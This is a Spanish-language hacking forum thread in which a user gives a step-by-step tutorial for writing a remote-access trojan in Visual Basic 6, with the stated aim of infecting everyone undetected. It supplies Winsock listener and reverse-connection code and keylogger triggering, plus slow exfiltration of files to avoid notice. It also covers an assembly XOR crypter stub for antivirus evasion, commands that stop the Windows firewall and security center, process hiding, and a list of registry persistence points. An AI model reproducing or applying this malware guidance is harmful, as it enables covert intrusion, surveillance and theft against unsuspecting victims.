Group: Hackerss Member
Posts: 6
Joined: 5-November 08
Member No.: 6,409
Holas, pues bueno soy nuevo aui y me gusta aprender e investigar y bue, como todos tambien me gusta compartir lo que se. Bue se preguntan que voy a aportar yo pues simple todo sobre como joraca se hace un troyanito... desde psincipio a fin... y bue empezamos por lo básico...
Pes lo primero es lo primero... siempre se empieza por ... "La Curiosidad de uno" en aprender como funca algo...
Bueno una expicación breve de lo que es un troyano para mi... es mi punto de vista nada mas...
Un troyano es un sistema de control remoto, creado con fines de abuso y malintencionados, con características similares a la de un virus, tales como autoencriptacion, sistemas de bypass (anti-antivirus), y sistemas de ocultamientos. aunque parezca muy complejo no lo es....
pes para hacer un troyano... solo hay que hacerse 3 preguntas que voy a ennumerar aqui abajo:
Numero 1 y la principal: Que deseo obtener yo atacando a mi victima?
2:Como oculto mi troyano en su máqina? 3:Como me comunico con mi troyano?
Pues bueno esas son las tres preguntas básicas je. de esas preguntas se derivan otras pero se ira explicando mas adelante, en fin... solo es cuestion de constancia, y mas que todo de investigación.... en fin vamos a la practica con las preguntas...
Psss con la primer pregunta que nos formulamos saltan millones de cosas, que van desde molestar hasta enviar archivos, borrarle cosas, y muchas zaranjadas mas... psss aca voy a explicar como hacer algunas cosas... pero todo a su tiempo.... (aunque es la primera y mas importante que uno se debe formular, no es la primera en resolverse jejejejeje)
La segunda es como lo oculto... aqui nos dividiremos en primer instancia en dos ramas... la primera es ocultarlo de los antivirus y antimalwares o antispywares... y la segunda de los usuarios en si... (a tener en cuenta que es muy importante realizar este paso... pero tampoco como primer cosa que haremos je).
La tercer pregunta es como joraca me comunico con mi futuro troyanito jeje... aunque no parezca es todo un reto ocultar la conexion , aqui solo explicares lo basico.. porque nunca me esmere lo suficiente en esta parte jejeje...
====> Hagao un hlt y comento que lo voy escribiendo como me sale ni siquiera lo escribi en borrador asi que ... que sea lo que dios quiera!!!!<====
weno ahora si una vez que tenemos en claro que queremos hacer pess que esperamos....
primero empiezo con hacer dos carpetitas una que diga cliente y la otra llamenla como quieran menos como listare a continuación:
Server Troyano Virus Hack SistHacker RemoteHack .....
nunca nombren la carpeta donde lo crean con algun nombre similar o que tenga que ver con la lista ni sus variantes, pes es simple, una vez me baje un codigo fuente de un troyanito basico pero muy lindo cuando lo compilaba se me tildaba la machine y el antivirus me decia trojanhorse no se cuando... como joraca lo descubrio pes... yo me preguntaba por que si le cambie el nombre hasta a las variables y naaa... el sistema de como enviava las instrucciones y todo y seguia detectandolo... entonces abri mi mente (me fume un par de chalas, hable con jebus y bue... el me lo mostro todo ) el antivirus detectaba mi copia de troyano por que usaba como firma de deteccion el nombre del proyecto + una parte de la rut de donde se gurdaba... por ello es un truquillo que aprende... nunca debeis guardar el servidor con un nombre alusivo... es mas por cada compilacion o revision del mismo cambiadle todo...
La "explicacion": es simple si estudian compiladores como vb6 como en mi caso me gusta programar en el... psss veran que cuando compila un exe guarda toda la info incluyendo rutas del proyecto sin compilar 0.o ... por que no se pero muchas veses se puede sacar hasta los nombres reales de los creadores ya que muchos guardan todo en mis doc y bue el nombre de usuario de la maquina influye... por eso si ahcen algo asi usen c:\mi carpeta como ruta.... no es cuestion je...
bueno una vez esto pasamos a crear un form donde agregas un componente para conexiones remotas, en mi caso y en el de la mayoria winsock. Recuerde explico casi todo basado en vb6 . pes este "Componente" que se agrega esta en la lista de componentes en la pestaña proyectos je... y posee ciertos eventos y propiedades.. los mas importantes son: Propiedades:
Name Protocol localport remoteport remotehost weno se daran cuenta que contiene cada cosa jejeje y si no averigüen o pregunten aui y en la medida que sepa y pueda contestare...
Eventos:
Close conect conectionrequest dataarrival tiene algunos eventos mas pero no son vitales...
ahora en otra carpeta creamos otro proyecto = pero esta vez el form lo hacemos chiquito y con una textbox y una listbox y con su winsock
weno ahora como me comunico con mi troyanito?¿?¿?¿?¿?¿? Pes hay dos tipos de conexiones osible una es la normal 40 y la otra es super la normal es poner a la escucha en x puerto y cada xx tiempo avisar que esta a la escucha .. como aviso????....
como avisar es simple podes hacer que mande un mail a tu cuenta a travez de un server smtp q no requiera login (nunca un xploit para las cuentas de correo ) o envias a xxxxx ftp un log con la ip... haces que registre la ip en no ip con un nombre de dominio xxxxxx.no-ip.org o lo mismo pero en vez de no ip le mandas los datos a una web que tengas para ese fin... las posibilidades son muchas...
Ahora la "Super" comunmente se le dice conexion inversa... pes simple el server se trata de conectar a un host cada xxxx minutos... como hacerlo pes es lo mismo que lo anterior pero inverso....
aca dejo un par de codes de conexion: en el server
pongo como nombre a mi componente winsock "tcp".
en el load del form va:
tcp.Listen ' lo ponemos a la escucha
en data arrival:
Dim instr As String tcp.GetData instr ' recibe datos Text1.Text = instr 'guarda la instruccion a realizar
en el connectionrequest:
tcp.Close tcp.Accept requestID
bueno aqui lo que tenemos es el code que va en cada evento en el load del form y en data arrival es lo basico como para ponerlo a la escucha... ya si quieren que hacer que el server peticione la conexion ponen lo siguiente:
en un timer por ejemplo que mande cada xx tiempo:
tcp.Connect
teniendo ya la ip y el puerto asignado jejejeje
solo falta asignar numero de puerto y host (ip o dominio) por ejemplo mipagina.com o 200.0.0.140
los puertos hay que ver pueden poner un puerto como el 5800 y el 5900 para envio y para recepcion.... simulando el vnc Algunos firewall o antivirus toman como codigo malicioso aquellos programas que tratan de abrir un puerto pero cuando se trata de puertos que usan programas conocidos como el vnc ignoran la apertura de este... jejejejeje
Ahora "el gran secreto" que joraca mando como dato .... pes aca mandas lo que se te canta... por ejemplo si le mandas una a desde tu cliente que el troyano habilite un keyloguer... es simple con el codigo ya escrito anteriormente lo unico que tenemos que agregar en el server es:
en el Text1.change
por ejemplo con un
Case o conmuchos if comprobamos que contiene la text1 y segun hacemos que borre q active keylogger o lo que sea...
y bue ahora pasamos al cliente que ponemos en el cliente...
en el cliente hacemos lo mismo que en el server para que envie peticiones de conexion le mandamos esto: tcp.RemotePort = Text3.Text tcp.RemoteHost = Text1.Text 'toma la ip o host victima tcp.Connect 'conecta al server
donde las text son cajas de texto que yo puse para ingresar la ip y el puerto x
recomendacion... yo recomiendo en la conexion cuando envian archivos o algo asi que le manden un sleep de por medio de cada paquete.. para que??? pess simple no saturas la red, o sea ralentiza el envio para que para usuarios normales, medios y medios-avanzados sea imperceptible el trafico en su conexion... como hacer eso ... simple a la hora de enviar un archivo cortarlo en pequeños pedacitos y enviar un paquete esperar 3 milisegundos (ms) mandar otro paquete 3 ms y asi... cada uno pone los valores que quiera o sea seria algo asi:
en las declaraciones va :
Option Explicit 'Función Api Sleep Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
eso al principio de todo y despues en un sub enviar lo siguiente:
Private Sub enviar(envia As String) If tcp.State = sckConnected Then 'si esta conectado tcp.SendData envia 'envio un pedazo de archivo sleep (xxx) 'en donde hay xxx poner un valor en ms Else ' si rechaza conexion tcp.Close ' cierro conexion Cmdconectar_Click ' ordeno conectar nuevamente End If End Sub
luego le agregan botoncitos y cositas con el code que ustedes quieran.... en fin yo aca dejo este tema y veo de gregar desp lo que quieran.
======================================><================================ JUGUEMOS A LAS ESCONDIDAS
Weno aca vamos a utilizar nuestro zencracking para esconder nuestro troyanito... primero debemos conocer metodos tradicionales... yo los llamos los conocidos por los usuarios de troyanos.
Joiners: pegan dos archivos
Binders: lo mismo pero con ofuscacion de codigo e interpolación de code... una parte de archivo xx otra de mi troyano y asi sucesivamente..
Fake: mi troyano simula ser un jueg, keylogger o lo que sea... pss lo de keylogger es de lo mas efectivo, lo llamo "El caza JuKeRs" psss los "ju4k3r5" siempre buscan todo hecho para robar cuentas y decir soy un maestro.... pero que pasa si hacemos un keylogger que le metemos code para que el juaker no tenga nececidad de ir hasta la maquina victima para sacar el log... ops pero caramba el log esta encriptado y solo se puede abrir con nuestro "LogReader Online" chachan... psss simple... nunca escucharon de hablar del recontra espionaje (el super agente 86), los dobles agentes jejeje... algo asi funaca esto ... pero en eeste caso nosotros tenemos la capacidad de saber quien es o que hce el juaker y tambien lo mismo de su victima!!!!
Metodos no tan tradicionales... o no conocidos por usuarios de troyanos....
pes simple un ejemplo seria la encriptacion de cadenas o generacion de strings por sistema de calculos... evitar como ya dije poner cadenas q hagan referencia a server ohacker o virus, etc... se pueden poner pero si lo hacen un ejemplo seria poner en un archivo de texto todo encriptado por x algoritmo hecho por "mi" y luego injertarlo en mi exe.. donde tambien lo paso completamente encriptado y de alli lo descomprimo a txt original con un monton de cadenas irreconocibles... que luego cada una se carga una vez q el exe está cargado en memoria y se desencripta en memoria pero para esto ya tendremos el exe cargado.. y los antixxxxx desactivdos o simil .. encriptar el exe... es simple si se tiene conocimientos de ing inversa... solo es cuestion de cortar los dos primeros comandos de un exe, que por lo general es:
PUSH EB CALL XXXXXXXX
reemplazando por un jmp xxxxxxx .. este salto puede ir a un espacio libre en el mismo exe donde podamos poner nuestro algoritmo de encriptacion como por ejemplo:
MOV EAX,dir_comienzo_codificación //movemos al registro EAX la dirección de memoria donde comenzará la codificación XOR BYTE PTR DS:[EAX],0F //realiza una operación XOR entre el contenido de la dirección de memoria que contenga EAX y el valor 0Fh INC EAX //incrementa el valor de EAX CMP EAX,dir_fin_codificación //comprueba si se ha llegado a la dirección de fin de codificación JLE SHORT dir_comienzo_bucle //si no son iguales así, vuelve al comienzo del bucle
(code sacado del blog de rafasec.blogspot.com)
al final de cualquier codigo ya sea este q postee o el que quieran tienen que restaurar las dos operaciones PUSH EB y CALL XXXXXXXX y luego saltar a dicha direccion...
Se supone que primero encriptamos el codigo a partir las instrucciones que van despues del jmp y luego pegamos el codigo q desencripta... o sea aqui agregue el code que desencripta pero el que encripta no lo puse
Si no se encuentra espacio libre en el exe... se fabrica jejejeje... con un editor PE podemos agrandar una secion por lo general la rdata q es la mas facil... se debe asignar atributo de ejecutable lectura y escritura... tambien a la text le asignamos el atributo de escritura porque sino nos saltara error.. no voy a explicar como modificar cabeceras PE ... es muy largo ... pero recomiendo busquen en la pagina de NuMiT Or alli encontraran mucho... y si no tienen ganas pess utilizen un packer cualquiera....
En fin.... me perdi y me maree
Ahora le mandamos la ocultacion en memorio... en vb6 hay un evento para esto:
App.TaskVisible = False
eso la oculta de la lista de procesos. Tambien se puede hacer reconocimiento de procesos y matarlos... teniendo un code bien armado puedes bajar de memoria cualquier antivirus. Otra cosa importante es que el server se autogregue a las exepciones del firewall. este code varia segun el firewall q use cada uno...
Ocultarse a la vista del usuario...
Pes esta parte es simple y en parte ya esta hecho... no hacer visible el form del server , que no se vea en la lista de procesos (app.taskvisible), y que el metodo de carga sea un poco sutil. aqui vamos a ver como cargar un troyano y que los usuarios ni se mosqueen:
Primero me pregunto como puedo cargar un archivo.... la mayoria dice en windows xp en boton inicio --->programas----> inicio
o en el registro en las claves run runonce y no me acuerdo la otra... je
pes si esas son las conocidas.. pero hay muchas y muy interesantes... por ejemplo listare algunos metodos.
boton inicio --->programas----> inicio en este tipo de inicio hay un truquito solo es cuestion de jugar un ratito... pegando un archivo para que cargue al inicio en las distintas carpetas de los distintos usuarios y mirar que pasa cuando se pega en default user y en all users .... chan en menu inicio no aparece pero se carga igual
en el registro hay varios metodos:
1-EY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options este es uno de los mas raros que eh visto y muy interesante... cargas tu troyano como debugger de cualquier programa !inclusive el shell de windows (explorer)¡
2-HKEY_CLASSES_ROOT\exefile\shell\open\command En las extensiones... exefile, lnkfile,piffile, etc... las mas conocidas por lo general la de los exe je que ahi no le fallas nunca...
3-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon en el shel tambien con una "," y la ruta de tu troyano en uilogon
4- como un servicio de windows
5-en el notify donde se les carga el molesto wga
6- en los modulos de impresoras (este lo vi en un virus, hace dos dias, aunque no se bien como funca).En este ultimo no se bien ni me acuerdo como era pero es en donde se instala el controlador de impresoras, en windows nt creo.
de seguro hay mas pero bue esos son mas o menos los que me acuerdo...
y por ultimo que podemos hacer con el troyano ... pes lo que cada uno quiera ... esa pregunta se la responde cada uno porque mostrarles como manejar winamp... copiar un archivo remotamente... abrir la lectora de cd esconder el boton inicio y todas esas cosas hay tutos de amontones.....
===========================EDIT=================
para rosckpoll el programita ese kikupmsn que "hiciste vos" es de MadAntrax de elhacker.net en la fecha 24 de diciembre de 2006.
es mas le podes modificar todo inclusive agregar botones ... pero hay algo q no se puede modificar ... lo que no podes modificar son las instrucciones, por eso estan fuera del centro del form... jejeje sos todo un "Ju4K3R"
This post has been edited by AnubiX: Nov 7 2008, 12:18 PM
Group: Hackerss Member
Posts: 6
Joined: 5-November 08
Member No.: 6,409
Holas weno aca va como hacer un troyano... Pesss voy a dividir el tema en varios capítulos.... en primera instancia hablare del server y como ocultarlo... pes se me ocurre asi y bue asi lo haré., je
bue como ya habia escrito antes hay que tener bien en claro que joraca queremos hacer con el, como lo voy a esconder y como me voy a conectar con
el... en fin aca va mi tuto en comodas cuotas . Weno lo que yo quiero hacer con mi troyano es: TODO Mi intencion es infectar a : TODOS Quiero ocultarlo para que NADIE lo vea. Weno lo primero que hago es creo mi form del server en mi disco c:\ ... (recordad que vb6 y demas compiladores guardan info adicional en los exe, tales
como la ruta donde se compilo el proyecto y demas). en fin mi proyecto no tendra comentarios ni copiright ni naa... psss simple el hecho de agregar una firma o comentario te lo hace detectable por mas
pakers que le metamos... solo quiero usarlo yo, para que quiero decompilarlo y alabarme a mi mismo diciendo.... AHHH!!!! MIRA QUIEN LO HIZO!!! ....
LO HICE YO!!!! Bue vamos a la explicacion práctica de esto.... si evitamos escribir strings y números enteros muy largos pesss, la detección se dificultara
exponencialmente... ya que una cadena como mi Firma "AnubiX" es muy detectable... ahora conseguir una firma extraida de un pedazo de código es
medio jodido.. pss un código puede repetirse en miles de soft distintos. En cambio mi firma NO. Si un antivirusalen crea una firma y detecta cualquier
programa q tenga esa firma basada en codigo como el virus en si.... no es eficiente... o sea al usuario no le sirve tener un antivirus q le blokee y borre el
primer programa q se le cruza. Además deja de ser un antivirus confiable. Por ello creo mi form... lo pongo como fixed toolwindows y lo primero q codeamos es App.TaskVisible = False. Weno con estas dos jugarretas lo escondemos de todo usuario comunacho que ande husmenado por ahi... (de la barra de inicio y de la lista de
procesos). Okas ahora le ponemos el visible a false... quien quiere que el usuario vea el form de mi server y que le muestre toda la listita de cosillas q va haciendo
jejejeje. weno hasta aqui de diezz. y bue... seguimos con tema como le hago caca el firewall de win2??? weno en vb6 como debe ser, tenes q declarar la shellexecute del kernel 32 pero como me da fiaca solo le mandamos un comando vbs q es el siguiente: Shell "cmd.exe /c net stop SharedAccess", vbHide por ahora lo dejamos asi mas adelante con el pasar de los tiempos lo mejoraremos... je ocultando strings encriptando y ofuscando code jejejeje weno ahora hay q analizar el maldito centro de control q te avisa q el cortaaguas de win2 se quedo dormido... y pes es lo mismo q para watherwall pss : Shell "cmd.exe /c net stop wscsvc", vbHide o sea nos queda algo asi, en un modulo aparte del form antes q cargue naaa:
Sub main()
App.TaskVisible = False
Shell "cmd.exe /c net stop wscsvc", vbHide Shell "cmd.exe /c net stop SharedAccess", vbHide
Weno esta es una listilla q le saque a un code de deadmaker de foros msn... que a su vez le ayudo hendrix... en el code original (que esta hecho en un
"bat"), el creador borra las carpetas y archivos y si no puede los renombra... a nosotros no nos servira borrarlos ... pes simple si queremos hacer un
buen camuflaje ... debemos de crear un code en un timer q detecte si existe alguna de estas aplicaciones y la baje de memoria... el problema reside en q
si el usuario medio -avanzado ve q desaparece su iconito tan apreciado de su antivirus o firewall, empezará a sospechar pes weno para ello le
mandamos un code q nos de la ubicación del archivo... donde le extraeremos el icono y colocaremos el icono en la system tray.... parece un poco
complejo no?? ... psss pero ya con tiempo vamos a ir viendo como hacerlo. pes me queda algo asi mi proyecto:
Características: Objeto inicial: Sub Main nombre: x ----> en lo psible un nombre lo mas corto posible en mi caso con la "x" basta o simple poner un nombre conocido como "msnmsgr". en título de aplicacion: 1 -----> caracter o string bien cortita o nombre conocido de algun programa. lo demas vacio si es posible o idem a lo anterior.
Proyecto1----| | | --------> form1 : en el todavia esta vacío, y con nombre original... con el nombre q tiene basta para no poder usarlo como firma ja | ---------> modulo1 | --------->modulo2
Code modulo1:
Sub main()
App.TaskVisible = False
Shell "cmd.exe /c net stop wscsvc", vbHide Shell "cmd.exe /c net stop SharedAccess", vbHide
Group: Hackerss Member
Posts: 6
Joined: 5-November 08
Member No.: 6,409
psss taria weno pero a medida q lo voy armando me van ayudando con sus criticas jejeje....psss y si la tomo para cuando termine hacer todo un manual completo jejeje... asias che